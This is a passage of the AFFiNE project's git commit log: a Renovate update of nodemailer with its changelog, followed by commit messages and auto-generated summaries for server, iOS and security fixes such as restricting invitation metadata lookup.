Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.7...v10.0.8)

##### Bug Fixes

- **mime-node:** clean the boundary where it is written, not only where
it is built
([e14278d](https://redirect.github.com/nodemailer/nodemailer/commit/e14278d2dae9427280c79450605a27b1c5d2c355))
- **mime-node:** drop every control character from multipart boundary
material
([a82a355](https://redirect.github.com/nodemailer/nodemailer/commit/a82a35554848a2e07485ff81f80aefe2736e5a04))

###
[`v10.0.7`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1007-2026-09-11)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.6...v10.0.7)

##### Bug Fixes

- **mime-funcs:** do not double encode Buffer input when chunking base64
mime words
([#&#8203;1865](https://redirect.github.com/nodemailer/nodemailer/issues/1865))
([4327a59](https://redirect.github.com/nodemailer/nodemailer/commit/4327a59939748a7f9394b0a029495fd476f68f30))
- **mime-node:** keep a boundary that is only line breaks from stripping
to empty
([ec46800](https://redirect.github.com/nodemailer/nodemailer/commit/ec46800cdcab734d9aa79e1278e819962b3b8f09))
- **mime-node:** strip line breaks from multipart boundary material
([#&#8203;1867](https://redirect.github.com/nodemailer/nodemailer/issues/1867))
([03c1a5c](https://redirect.github.com/nodemailer/nodemailer/commit/03c1a5c48b6828d9392983d8718fdb1fd583a06c))
- **smtp-pool:** release rate-limited connections on close
([#&#8203;1866](https://redirect.github.com/nodemailer/nodemailer/issues/1866))
([7f5c7a4](https://redirect.github.com/nodemailer/nodemailer/commit/7f5c7a46b61da9f5c5feaffd921c55b9d5892ee5))

###
[`v10.0.6`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1006-2026-09-11)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.5...v10.0.6)

##### Bug Fixes

- **addressparser:** scan free text for an address in linear time
([437d7fc](https://redirect.github.com/nodemailer/nodemailer/commit/437d7fc47403df176bc39271641541b7a9bce102))

###
[`v10.0.5`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1005-2026-09-11)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.4...v10.0.5)

##### Bug Fixes

- **addressparser:** parse comment-joined addresses in linear time
([c07f175](https://redirect.github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89))

###
[`v10.0.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1004-2026-09-11)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.3...v10.0.4)

##### Bug Fixes

- **fetch:** scope a cookie without a Path to the RFC 6265 default path
([2f907cb](https://redirect.github.com/nodemailer/nodemailer/commit/2f907cb71396860d0b2534dc72c3d252ef16339d))
- **fetch:** send cookies set with Path back to the exact path
([#&#8203;1861](https://redirect.github.com/nodemailer/nodemailer/issues/1861))
([d557113](https://redirect.github.com/nodemailer/nodemailer/commit/d5571139750de47abbac73a3b07ae90ff39a7bdd))
- **mail-composer:** keep httpHeaders and tls for href alternatives and
icalEvent
([#&#8203;1862](https://redirect.github.com/nodemailer/nodemailer/issues/1862))
([7f502be](https://redirect.github.com/nodemailer/nodemailer/commit/7f502bee4a6b0386099c66c0a35d92850ec462f7))
- resolve well-known services by their primary domains
([#&#8203;1859](https://redirect.github.com/nodemailer/nodemailer/issues/1859))
([085f525](https://redirect.github.com/nodemailer/nodemailer/commit/085f525e6b292f0ca32ab1b20d4a4ee82fc40e2d))
- **ses-transport:** throw a configuration error when the SES client is
missing
([#&#8203;1863](https://redirect.github.com/nodemailer/nodemailer/issues/1863))
([4d9c4c9](https://redirect.github.com/nodemailer/nodemailer/commit/4d9c4c966aaca61ff6d7649a1ac0aa0ceac6ef1e))

###
[`v10.0.3`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1003-2026-09-10)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.2...v10.0.3)

##### Bug Fixes

- **fetch:** honor the cookie Domain attribute without accepting public
suffixes
([1608391](https://redirect.github.com/nodemailer/nodemailer/commit/1608391ff4ccd5422a88e4cf760b26068aad6d39)),
closes
[#&#8203;1856](https://redirect.github.com/nodemailer/nodemailer/issues/1856)

###
[`v10.0.2`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1002-2026-09-09)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.1...v10.0.2)

##### Bug Fixes

- **mime-node:** flatten nested recipient arrays without recursion
([ebe0849](https://redirect.github.com/nodemailer/nodemailer/commit/ebe084940aef88278afc6016b78c6d1c3821bb66))
- **shared:** keep the TLS server name out of the DNS cache
([a6512db](https://redirect.github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe))

###
[`v10.0.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1001-2026-09-07)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.0...v10.0.1)

##### Bug Fixes

- **types:** accept an explicit undefined for optional properties
([209719d](https://redirect.github.com/nodemailer/nodemailer/commit/209719dd6a192656a6b18de265a3b4ac387208ff)),
closes
[#&#8203;1853](https://redirect.github.com/nodemailer/nodemailer/issues/1853)
- **types:** drop the internal members from the published declarations
([81e64ea](https://redirect.github.com/nodemailer/nodemailer/commit/81e64eaee70aabf867afef88d3733556c9fcc1cc))

###
[`v10.0.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1000-2026-09-03)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.1.1...v10.0.0)

##### ⚠ BREAKING CHANGES

- Node.js 20 or newer is required. The Node.js 6 syntax compatibility
check and the .npmignore file are gone.

##### Features

- keep the
[@&#8203;types/nodemailer](https://redirect.github.com/types/nodemailer)
type layout working
([1cc5356](https://redirect.github.com/nodemailer/nodemailer/commit/1cc535627e1bb672214b09fa4cc503567275fd7f))
- migrate to TypeScript with ES module and CommonJS builds
([f7cbf83](https://redirect.github.com/nodemailer/nodemailer/commit/f7cbf8384e0ea6055efcc514afb8bc070ac3a2b1))

##### Bug Fixes

- apply the other keys of a configuration object next to its url
([29610f9](https://redirect.github.com/nodemailer/nodemailer/commit/29610f9fe04dbd8af04c4a3362f3b68d293592da))
- **dkim:** canonicalize raw messages the way verifiers do
([2c84b11](https://redirect.github.com/nodemailer/nodemailer/commit/2c84b117d4d138751e9ffa8607f3796771bb5e66))
- keep a transporter assignable to the plain Transporter type
([8bf55fb](https://redirect.github.com/nodemailer/nodemailer/commit/8bf55fb177cf155b24d6bb86a7cd86670146d551))
- **shared:** keep a colon in the user name of a connection or proxy url
([6acf4b6](https://redirect.github.com/nodemailer/nodemailer/commit/6acf4b67d919971f516f58940113c9b8598b2254))
- **shared:** refuse URL hosts the legacy parser would truncate
([17a5068](https://redirect.github.com/nodemailer/nodemailer/commit/17a5068f06e62fc04e1d5545ed70d4248bef258e))
- **shared:** resolve hostnames when the runtime has no interface table
([8b03240](https://redirect.github.com/nodemailer/nodemailer/commit/8b032407135ea05ae377e623a7021705a4a139d0))
- **smtp-connection:** clear the timers of a connection dropped before
the greeting
([01dcaa0](https://redirect.github.com/nodemailer/nodemailer/commit/01dcaa05b212aafc33747041027fb8c66497e0eb))
- **smtp-connection:** keep an incomplete server reply out of
lastServerResponse
([1a6e427](https://redirect.github.com/nodemailer/nodemailer/commit/1a6e4271adb808509adf11832ad1adfdfc05c31b))
- **smtp-pool:** free the pool slot when the proxy socket can not be
opened
([204a344](https://redirect.github.com/nodemailer/nodemailer/commit/204a344f7e4068ff41385195ee394a223ebadd84))
- **well-known:** keep nodemailer/lib/well-known/services.json available
([367730c](https://redirect.github.com/nodemailer/nodemailer/commit/367730cce85bc78c7804405c2cc7d89d93aafdd1))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-07 02:11:38 +08:00
DarkSky 7afb62d5b4 feat(server): improve config loading (#15649)
fix #15650
fix #15530
fix #15534
fix #15506


#### PR Dependency Tree


* **PR #15649** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

## Summary

* **New Features**
* Admin settings show configuration sources and secret status, conceal
secret values, and allow database-level overrides to be cleared.
* Self-hosted deployments can automatically upgrade existing
configuration files.
* **Improvements**
* Configuration changes apply without restarting the server, and storage
settings reload automatically.
* Uploads support runtime-managed proxy settings and signed upload
tokens.
  * Incomplete managed Copilot profiles are disabled during migration.
* Saving an AI response as a document more reliably targets the matching
editor.
* **Documentation**
* The CLI clarifies that imported configuration changes take effect
after the next server start.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-30 00:39:36 +08:00
DarkSky 164a84ffe0 fix(core): copilot feature determined mcp visible (#15645)
fix #15644

#### PR Dependency Tree


* **PR #15645** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
  * The MCP Server integration now appears only when Copilot is enabled.
* MCP credential queries and create, rotate, and revoke actions are
rejected while Copilot is disabled.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-25 21:15:33 +08:00
DarkSky 7dd71162b5 feat(native): support multi remote source (#15642) 2026-09-25 20:27:16 +08:00
DarkSky ca0ffc52f7 feat(nbstore): multi remote primitive (#15637) 2026-09-23 02:26:14 +08:00
DarkSky d897bb3d84 chore: bump deps (#15624) 2026-09-20 13:01:49 +08:00
DarkSky 368e62d895 fix: redirect link (#15615)
#### PR Dependency Tree


* **PR #15615** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Bug Fixes**
- Checkout success links are now safely normalized before being sent to
the payment provider.
  - Relative callback paths are converted into valid absolute URLs.
- Empty or missing success callbacks now return customers to the default
application page.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-19 00:50:41 +08:00
DarkSky 17a9c3c4c5 fix: missing features (#15614)
#### PR Dependency Tree


* **PR #15614** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- OAuth availability now reflects whether active OAuth providers are
configured.
- Payment functionality now automatically follows the payment enablement
setting, including configuration changes.
- Subscription plan settings now validate required Pro and Team pricing
before displaying plans.

- **Bug Fixes**
- Added a retry option when plan pricing cannot be loaded or validated.
- Improved invitation notification handling to ensure notifications
appear reliably after inviting a workspace member.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-18 14:09:15 +08:00
keepClamDownandDarkSky 2af30773ae feat(ios): add stable Share Extension imports (#15547)
## Summary

The changes below are prepared locally and have not been committed or
pushed.

- Save original URLs, user titles, selected text, images and PDFs
through a versioned, file-backed Share Inbox. Stable document/attempt
IDs, serialized imports and committed receipts make retries preserve
user edits and recover native completion.
- Keep rich previews transient. Share previews request transcript
excerpts, clip optional display fields and bound response/image
downloads. Saving does not wait for preview requests or persist provider
metadata, transcript snapshots or dedicated preview blobs.
- Restore the minimal App Group workspace-mode snapshot and
`official`/`deferred` route. Official routes remain fixed for the
pending share; deferred self-hosted previews use the selected server
without a provider fallback.
- Let bookmark and YouTube details read the current workspace's Link
Preview API by URL. Full transcripts, chapters and timestamps load on
expansion without document writes. Reuse editor styles and the existing
portal for canvas details; isolate endpoint/base/transcript caches and
keep transcript results out of persistent cache.

## Validation

- Focused frontend suites: 128 tests passed; the 43 preview/details
cases also passed after the final portal change.
- `ShareInboxSafetyTests`: 57 tests passed on iOS 26.5 simulator.
- `yarn typecheck` and full `yarn lint` passed.
- iOS web bundle, Capacitor asset copy, and signed simulator App build
with embedded ShareExtension passed.
- Browser component checks: desktop, narrow viewport, light/dark themes,
full transcript scrolling, canvas portal positioning and Escape
dismissal.
- Simulator Safari share: rich preview, cancellation, native-to-app
handoff, workspace selection and successful save. The pending manifest
contained original content and routing only, and was removed after
import.

Physical-device and network-capture matrices remain manual. The
simulator YouTube iframe displayed player error 153; this is separate
from the successful preview/import checks and video playback is not
claimed as verified.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* iOS sharing now supports PDF files alongside images, with previews and
attachment validation.
* Share imports offer improved workspace selection, offline handling,
retry recovery, and clearer error messages.
* Link previews can display expandable metadata and transcript details
for bookmarks and YouTube embeds.
* Share inbox entries now identify unsupported versions and provide
safer attachment resolution.

* **Bug Fixes**
* Improved cancellation, cleanup, and stale-request handling during
sharing and importing.
* Enhanced link-preview validation and protection against oversized or
invalid responses.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-09-15 14:55:04 +08:00
DarkSky 51fdf602ba feat(core): adapt new lifecycle (#15575)
fix #15574


#### PR Dependency Tree


* **PR #15575** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

## New Features
* Added source-aware blob handling for current documents and page
history.
* Added document lifecycle support for trashing, restoring, and
permanently deleting documents.
* Copilot attachments now upload directly to session attachment
endpoints.

## Bug Fixes
* Document actions now complete before confirmations, notifications, and
navigation proceed.
* Improved cancellation, upload fallback, size-limit handling, and cloud
synchronization reliability.
* Invite-link expiration now remains reliable for long durations.
* Improved synchronization for document permissions and reserved
documents.

## Changes
* Blob management now displays attachment icons instead of image
previews.
* Cloud synchronization now uses a unified batch protocol.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-09 23:00:06 +08:00
DarkSky 8c5937111b feat(server): migrate legacy impl (#15571)
#### PR Dependency Tree


* **PR #15571** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added Copilot session attachments, scoped access controls,
personal-workspace support, and automatic title generation.
- Added self-hosted license compatibility, license portal access, and
external license-key configuration.
- Added reservation-based storage uploads and workspace storage
reconciliation.
- Added permissions for previews, history, analytics, moderation, and
workspace storage.

- **Changes**
- Removed the admin queue dashboard and queue-based background
processing.
- Updated blob, comment-attachment, payment, and calendar
synchronization workflows.
- Improved redirect validation, preview indexing, and synchronization
error reporting.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-08 23:21:00 +08:00
DarkSky d6be85eaae feat: converage native module (#15570)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added expanded authentication options, including password, magic-link,
OAuth, session management, and CAPTCHA verification.
* Added team licensing, subscription billing, payment-provider
integrations, and entitlement management.
* Added authorized blob browsing, streaming, storage reservations, seat
management, and quota visibility.
* Added document lifecycle actions, comments, publishing, history
recovery, and enhanced permission controls.
* Added safer redirect handling and improved search projection recovery.
* **Bug Fixes**
* Improved authorization, storage consistency, payment recovery, and
cross-instance cache invalidation.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-07 17:34:16 +08:00
Luis Freixial 2365c36557 fix(server): stop forwarding Accept-Encoding in worker link-preview/image-proxy (#15560)
## Description

Self-hosted AFFiNE's `/api/worker/link-preview` and
`/api/worker/image-proxy` endpoints forward the requesting browser's
`Accept-Encoding` header to whatever URL they fetch (`cloneHeader()`),
but the underlying native `safeFetch` never decompresses the response
before parsing it. Sites that gzip/brotli-compress their HTML (GitHub
does, for any non-trivially-sized repo page) end up handing AFFiNE
compressed bytes, which the HTMLRewriter meta-tag scraper silently reads
as nothing. The result: link preview cards render with no image, title,
or description.

**Fix:** drop `Accept-Encoding` from the headers forwarded in
`cloneHeader()`, so upstream requests are implicitly identity-encoded
and the response body stays uncompressed for the parsing that follows.

**Before**
<img width="641" height="335" alt="image"
src="https://github.com/user-attachments/assets/8ec8a925-6a1f-422a-9cb0-5e1687a5f75e"
/>

**After**
<img width="659" height="323" alt="image"
src="https://github.com/user-attachments/assets/c35002b5-43c1-4f8b-a4c2-20028f1e453a"
/>


## Checklist

- [x] I have signed the [AFFiNE Contributor License
Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required
before merge; the `license/cla` check must be green ([how it
works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first))
- [x] The PR targets the `canary` branch and its title follows
[Conventional Commits](https://www.conventionalcommits.org/)
- [x] Tests are added or updated where it makes sense
- [x] `yarn lint` and `yarn typecheck` pass locally
- [x] If the PR code includes AI-generated edits, I have carefully
reviewed it to ensure that the scope of the PR is consistent with what
is claimed in the title and description, and that there are no redundant
or invalid implementations.
- [x] I agree that maintainers may close the PR without discussion if
they consider the code quality to be too low.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Prevented `Accept-Encoding` headers from being forwarded when
processing worker link-preview and image-proxy requests.
* Improved request handling to avoid passing client compression
preferences to external fetch targets.

* **Tests**
* Added end-to-end coverage confirming that `Accept-Encoding` is
excluded from forwarded requests.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-03 11:51:57 +08:00
DarkSky 4953682779 feat(server): support switching accounts when accepting an invitation (#15542)
#### PR Dependency Tree


* **PR #15542** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **New Features**
  - Invitation links now require sign-in to view or accept.
- Added guidance when an invitation belongs to a different account, with
options to switch accounts or return to AFFiNE.
  - Sign-in preserves the invitation link when switching accounts.

- **Bug Fixes**
- Invitation errors now display accurate messages instead of generic
errors.
  - Improved handling of expired, invalid, and missing invitations.
- Invitation status checks now work correctly for authenticated
invitees.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-28 12:50:09 +08:00
FailSafeandDarkSky 6fc5d82f1d fix: restrict email invite metadata lookup (#15150)
## Summary

This change restricts email invitation metadata lookup to the
authenticated user that the invitation was issued to.

## Impact

The public invite-info resolver returns workspace, owner, invitee, and
status details for a valid invitation identifier. For email invitations,
that information should only be returned to the intended recipient after
authentication.

## Fix

- Keep existing link-invitation behavior unchanged.
- For email invitations, require an authenticated user whose id matches
the invitation recipient before returning invitation details.
- Return the existing invalid-invitation error for mismatched or
unauthenticated access.

## Validation

- `git diff --check`
- Full test/lint suite was not run locally because dependencies are not
installed in this checkout.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Tightened invitation access checks so non-link invites are only
readable by the intended recipient.
* Invalid or missing user context now returns an error earlier,
preventing access to invite details when the invitation doesn’t match.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Signed-off-by: failsafesecurity <190101117+failsafesecurity@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2026-08-28 12:05:40 +08:00
DarkSky b6de0ad51b feat(ios): improve share preview (#15538)
#### PR Dependency Tree

* **PR #15538** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added rich link previews to mobile and iOS sharing, including images,
metadata, transcripts, and selected text.
* Share imports can now create structured content blocks, embeds,
bookmarks, and transcript callouts.
* Added workspace-aware preview handling for cloud, self-hosted, and
signed-out modes.
* **Accessibility**
* Improved collapse/expand controls with semantic buttons and ARIA
relationships.
* **Bug Fixes**
  * Enhanced URL and error sanitization in server logs.
* Improved link-preview CORS support, validation, and request handling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-28 03:32:26 +08:00
DarkSky 612923b55c fix(server): indexer feature (#15533)
<!--
Thank you for contributing to AFFiNE!

The PR title must follow Conventional Commits (enforced by CI):
type(scope): description e.g. fix(editor): keep selection after paste
Types: feat fix docs style refactor perf test build ci chore revert
-->

## Description

<!-- What does this PR do? Link related issues, e.g. "Closes #1234".
Screenshots or recordings are welcome for UI changes. -->

## Checklist

- [ ] I have signed the [AFFiNE Contributor License
Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required
before merge; the `license/cla` check must be green ([how it
works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first))
- [ ] The PR targets the `canary` branch and its title follows
[Conventional Commits](https://www.conventionalcommits.org/)
- [ ] Tests are added or updated where it makes sense
- [ ] `yarn lint` and `yarn typecheck` pass locally



#### PR Dependency Tree


* **PR #15533** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved indexer feature synchronization when the indexer is enabled
or configuration changes.
* Enabled indexer-related capabilities without waiting for native search
readiness checks.
* Improved consistency across search, aggregate, document, and
application startup flows.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-26 22:14:17 +08:00
DarkSky c91b1810bd fix(server): index generation error handle (#15532)
<!--
Thank you for contributing to AFFiNE!

The PR title must follow Conventional Commits (enforced by CI):
type(scope): description e.g. fix(editor): keep selection after paste
Types: feat fix docs style refactor perf test build ci chore revert
-->

## Description

<!-- What does this PR do? Link related issues, e.g. "Closes #1234".
Screenshots or recordings are welcome for UI changes. -->

## Checklist

- [ ] I have signed the [AFFiNE Contributor License
Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required
before merge; the `license/cla` check must be green ([how it
works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first))
- [ ] The PR targets the `canary` branch and its title follows
[Conventional Commits](https://www.conventionalcommits.org/)
- [ ] Tests are added or updated where it makes sense
- [ ] `yarn lint` and `yarn typecheck` pass locally



#### PR Dependency Tree


* **PR #15532** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved search reconciliation and publication status handling when
workspace reconciliation fails.
* Prevented failed workspace reconciliation from incorrectly blocking
generation completion.
* Preserved active generation state so reconciliation can retry and
complete pending publications.
* Improved managed provider profile migration, including legacy
configurations, unavailable models, conflicting assignments, and missing
defaults.

* **Tests**
* Expanded coverage for workspace recovery and managed provider profile
migration scenarios.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-26 19:57:26 +08:00
Yuzhong Zhang 88585a2024 fix(server): send User-Agent on GitHub OAuth fetches (#15524)
## Description

Self-hosted GitHub OAuth login fails at token exchange because the
outbound request to `https://github.com/login/oauth/access_token` has no
`User-Agent` header. GitHub then returns 403 ("Request forbidden by
administrative rules"), which is surfaced as
`INVALID_OAUTH_CALLBACK_CODE`.

OAuth `safeFetch` only forwarded `authorization`, `content-type`, and
`accept`, so even a User-Agent on the request would be stripped. This
change:

- allows `user-agent` in OAuth `fetchOptions()`
- always sends `User-Agent: AFFiNE-Server` from `fetchJson()` (covers
token exchange and `api.github.com` user/email fetches)

Fixes #15521

## Checklist

- [x] The PR targets the `canary` branch and its title follows
Conventional Commits
- [x] Tests are added or updated where it makes sense

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved OAuth request compatibility by including a standard
`User-Agent` header.
* Ensured the header is permitted consistently during OAuth token
exchanges.

* **Tests**
* Added coverage to verify case-insensitive handling of the `User-Agent`
header in GitHub OAuth requests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------
2026-08-26 15:58:00 +08:00
DarkSky bd095495da fix(server): index & gc queue & llm compatibility (#15528)
fix #15523
fix #15526

#### PR Dependency Tree


* **PR #15528** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **Bug Fixes**
- Improved search generation cleanup, provider error reporting, and
reconciliation reliability.
- Retired search resources are cleaned up safely, including after
credential changes.
- Prompt size checks now ignore tool parameters and provide clearer
errors.
- Reserved documents are protected from accidental cleanup, and
malformed identifiers are rejected.

- **Configuration**
- Managed Copilot profiles require explicit, non-duplicated model
assignments.
  - Improved managed provider profile migration.

- **Performance & Reliability**
- Reduced unnecessary search-history cleanup and adjusted
consistency-check intervals.
- Failed reconciliation jobs stop after one attempt and are removed
automatically.

- **Data Updates**
  - Updated legacy AI session prompt names to current labels.
  - Improved cloud load-balancer health-check configuration.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-26 15:57:06 +08:00
DarkSky b530198a3b feat(server): improve indexer perf (#15512)
#### PR Dependency Tree


* **PR #15512** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Search now supports generation-based indexing with embedded and remote
providers.
* Added automatic search reconciliation and improved handling of
document, workspace, and permission changes.
* Added clearer search status errors for unavailable, syncing, unready,
or failed indexes.
* Added Manticore Search end-to-end support and provider-specific search
behavior.

* **Improvements**
* Search and aggregate pagination now report returned results and
continuation status more accurately.
* Improved permission filtering to prevent inaccessible documents from
appearing in results.
  * Admin provider selection now consistently enables indexing.

* **Documentation**
* Clarified search pagination, aggregation counts, provider
configuration, and end-to-end setup.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-23 17:54:49 +08:00
DarkSky a8eef53966 chore(server): split module 2026-08-22 08:05:46 +08:00
DarkSky 47306699c4 chore(server): fix connection 2026-08-22 06:01:41 +08:00
DarkSky dec1a01449 fix(server): improve self hosted usability (#15510)
fix #15505
fix #15502
fix #15496
fix #15491

#### PR Dependency Tree


* **PR #15510** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added configurable delays for invitations, invite links, and document
publishing by newly created accounts.
- Added workspace action checks that explain blocked actions and retry
timing.
- BYOK setup now verifies model capabilities and saves only validated
options.

- **Bug Fixes**
- Improved BYOK probing for chat, structured responses, tool calls,
embeddings, reranking, and image generation.
  - Preserved probe request order and strengthened response validation.
  - Authentication configuration changes now reload correctly.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-22 04:47:21 +08:00
DarkSky c57004ea2c refactor(server): indexer & worker & sync perf (#15504) 2026-08-21 08:11:37 +08:00
DarkSky b4c8548c09 feat(server): normalize timestamp 2026-08-17 12:01:30 +08:00